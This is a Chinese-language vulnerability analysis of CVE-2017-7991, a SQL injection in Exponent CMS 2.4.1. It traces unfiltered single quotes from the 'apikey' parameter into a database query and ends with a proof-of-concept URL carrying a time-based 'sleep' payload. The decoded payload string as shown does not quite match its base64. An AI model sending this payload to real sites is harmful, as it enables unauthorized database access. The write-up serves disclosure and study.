Exponent CMS是一款开源的CMS,其2.4.1版中存在sql注入

本文首发于:[CVE-2017-7991]Exponent CMS 2.4.1 SQL Injection分析

漏洞

注入点在 /framework/modules/eaas/controllers/eaasController.php 中。如下:

public function api() {
    if (empty($this->params['apikey'])) {
        $_REQUEST['apikey'] = true;  // set this to force an ajax reply
        $ar = new expAjaxReply(550, 'Permission Denied', 'You need an API key in order to access Exponent as a Service', null);
        $ar->send();  //FIXME this doesn't seem to work correctly in this scenario
    } else {
        $key = expUnserialize(base64_decode(urldecode($this->params['apikey'])));
        $cfg = new expConfig($key);
        $this->config = $cfg->config;
        if(empty($cfg->id)) {
            $ar = new expAjaxReply(550, 'Permission Denied', 'Incorrect API key or Exponent as a Service module configuration missing', null);
            $ar->send();
        } else {
            if (!empty($this->params['get'])) {
                $this->handleRequest();
            } else {
                $ar = new expAjaxReply(200, 'ok', 'Your API key is working, no data requested', null);
                $ar->send();
            }
        }
    }
}

api()中,先检测参数apikey 是否为空,若不为空,则进入else分支。在分支中,先对参数apikey进行一次urldecode,接着进行 base64_decode,最后进行一次反序列化expUnserialize,在expUnserialize中存在一次小小的过滤:

function expUnserialize($serial_str) {
    if ($serial_str === 'Array') return null;  // empty array string??
    if (is_array($serial_str) || is_object($serial_str)) return $serial_str;  // already unserialized
//    $out1 = @preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $serial_str );
    $out = preg_replace_callback(
        '!s:(\d+):"(.*?)";!s',
        create_function ('$m',
            '$m_new = str_replace(\'"\',\'\"\',$m[2]);
            return "s:".strlen($m_new).\':"\'.$m_new.\'";\';'
        ),
        $serial_str );
//    if ($out1 !== $out) {
//        eDebug('problem:<br>'.$out.'<br>'.$out1);
//    }

它会把 经过base64_decode后的$apikey 中的双引号加上斜杠。但是对于单引号,它没有进行处理。在进行expUnserialize之后,赋值给$key,并在之后实例化一个 expConfig对象。expConfig部分代码如下:

class expConfig extends expRecord {
    protected $table = 'expConfigs';

    function __construct($params=null) {
        global $db;

        if (!is_array($params)) {
            $this->location_data = serialize($params);
            parent::__construct($db->selectValue($this->table, 'id', "location_data='".$this->location_data."'"));
        } else {
            parent::__construct($params);
        }
    ....

在 framysqli\core\subsystems\database\mysqli.php 中,可以看到关于selectValue的定义:

function selectValue($table, $col, $where=null) {
    if ($where == null)
        $where = "1";
    $sql = "SELECT " . $col . " FROM `" . $this->prefix . "$table` WHERE $where LIMIT 0,1";
    $res = @mysqli_query($this->connection, $sql);

    if ($res == null)
        return null;
    $obj = mysqli_fetch_object($res);
    if (is_object($obj)) {
        return $obj->$col;
    } else {
        return null;
    }
}

可以看到,在检查完$params是否是数组后,将我们传入的$params序列化后直接插入到了数据库查询语句中,未作任何过滤和检测。加上之前并未对单引号进行处理,因此我们可以利用单引号,对 location_data='".$this->location_data."' 中的单引号进行闭合。

POC

http://localhost:2500/exponent241/index.php
?module=eaas
&action=api
&apikey=czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7

其中 base64_decode("czoxNjoiYWFhJ29yIHNsZWVwKDIpIyI7") = s:16:"aaa'or "'sleep(2)#

查看 mysql.log ,可以发现成功注入。 运行的 sql语句 为:

SELECT id FROM `exponent_expConfigs` WHERE location_data='s:19:"aaa'or \"'sleep(2)#";' LIMIT 0,1

可以看到单引号被成功闭合。

results matching ""

    No results matching ""